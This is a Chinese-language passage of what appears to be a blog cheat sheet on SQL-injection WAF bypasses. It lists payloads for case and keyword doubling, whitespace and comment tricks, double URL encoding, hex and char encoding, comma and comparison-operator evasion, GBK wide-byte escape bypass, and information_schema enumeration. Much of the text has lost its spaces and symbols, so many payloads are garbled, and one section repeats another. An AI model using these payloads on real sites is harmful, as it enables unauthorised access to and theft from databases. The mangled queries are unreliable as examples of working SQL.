此类绕过不常常利用,但是用的时候也不能忘了它,他事理是基于SQL语句不分大小写的,但过滤只过滤个中一种。
2 更换关键字
这种情形下大小写转化无法绕过而且正则表达式会更换或删除select、union这些关键字如果只匹配一次就很随意马虎绕过

http://www.xx.com/index.php?page_id=-15UNIunionONSELselectECT1,2,3,4
3 空格绕过
payload
select////from//yz;select%0a%0afrom%0ayz;%0a是回车select(a)from(yz);select(a)from(yz)where(a=1);
4 内联注释
有些WAF的过滤关键词像/union\sselect/g,就比如上面说的,很多时候我都是采取内联注释。更繁芜的例子须要更前辈的方法。比如添加了SQL关键字,我们就要进一步分离这两个词来绕过这个过滤器。
id=1/!UnIoN/SeLeCT/!select//!//!from//!yz/;
5 更换关键字
这种情形下大小写转化无法绕过而且正则表达式会更换或删除select、union这些关键字如果只匹配一次就很随意马虎绕过
SELselectECT1,2,3,4
6 URL编码
有时后台界面会再次URL解码以是这时可以利用二次编码办理问题后台语句
$insert=$link->query(urldecode($_GET['id']));$row=$insert->fetch_row();selectfromyzselectfrom%2579%257a
7 十六进制绕过(引号绕过)
selectafromyzwhereb=0x32;selectfromyzwhereb=char(0x32);selectfromyzwhereb=char(0x67)+char(0x75)+char(0x65)+char(0x73)+char(0x74)selectcolumn_namefrominformation_schema.tableswheretable_name="users"selectcolumn_namefrominformation_schema.tableswheretable_name=0x7573657273
8 逗号绕过
在利用盲注的时候,须要利用到substr(),mid(),limit。这些子句方法都须要利用到逗号。对付substr()和mid()这两个方法可以利用from to的办法来办理。
substr(),mid()mid(user()from1for1)substr(user()from1for1)selectsubstr(user()from-1)fromyz;selectascii(substr(user()from1for1))<150;同时也可以利用更换函数selectleft(database(),2)>'tf';seletefromtesttablelimit2,1;seletefromtesttablelimit2offset1;
9 比较符(<,>)绕过
同样是在利用盲注的时候,在利用二分查找的时候须要利用到比较操作符来进行查找。如果无法利用比较操作符,那么就须要利用到greatest,strcmp来进行绕过了。
selectfromuserswhereid=1andgreatest(ascii(substr(database(),0,1)),64)=64selectstrcmp(left(database(),1),0x32);#lpad('asd',2,0)if(substr(id,1,1)in(0x41),1,3)--新学习了一种骚骚的注入姿势in、between、orderbyselectfromyzwhereain('aaa');selectsubstr(a,1,1)in('a')fromyz;selectfromyzwhereabetween'a'and'b';selectfromyzwhereabetween0x89and0x90;selectfromyzunionselect1,2,3orderby1;--也可以用like,根据排列顺序进行真值判断
10 注释符绕过
在注入时的注释符一样平常为# --当两者不能用时就不能闭合引号这里先容一个奇淫巧技
select1,2,3fromyzwhere'1'/1=(1=1)/'1'='1'(1=1)中就有了判断位为下面的注入打下根本
11 宽字节绕过
字节注入也是在最近的项目中创造的问题,大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,个中\的十六进制是 %5C ,那么现在%df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也便是縗’,也便是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。
注:select防止用户自定义的名称和mysql保留字冲突
12 with rollup
一样平常结合group by利用
select1astestfromyzgroupbytestwithrolluplimit1offset1;+------+|test|+------+|NULL|+------+
13 无列名注入
给未知列名起别名
selectafrom(select1,2,3aunionselectfromyz)v;
14 判断列数绕过
当order by 被过滤后就可以利用into 变量来绕过
selectfromyzlimit1,1into@a,@b,@c;mysql数据库查询语句
selectdatabase();#查选数据库selectgroup_concat(schema_name)frominformation_schema.schemataselectschema_namefrominformation_schema.schematalimit0,1#查询数据库selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1;#查询表selectcolumn_namefrominformation_schema.columnswheretable_name='users'limit0,1;#查询列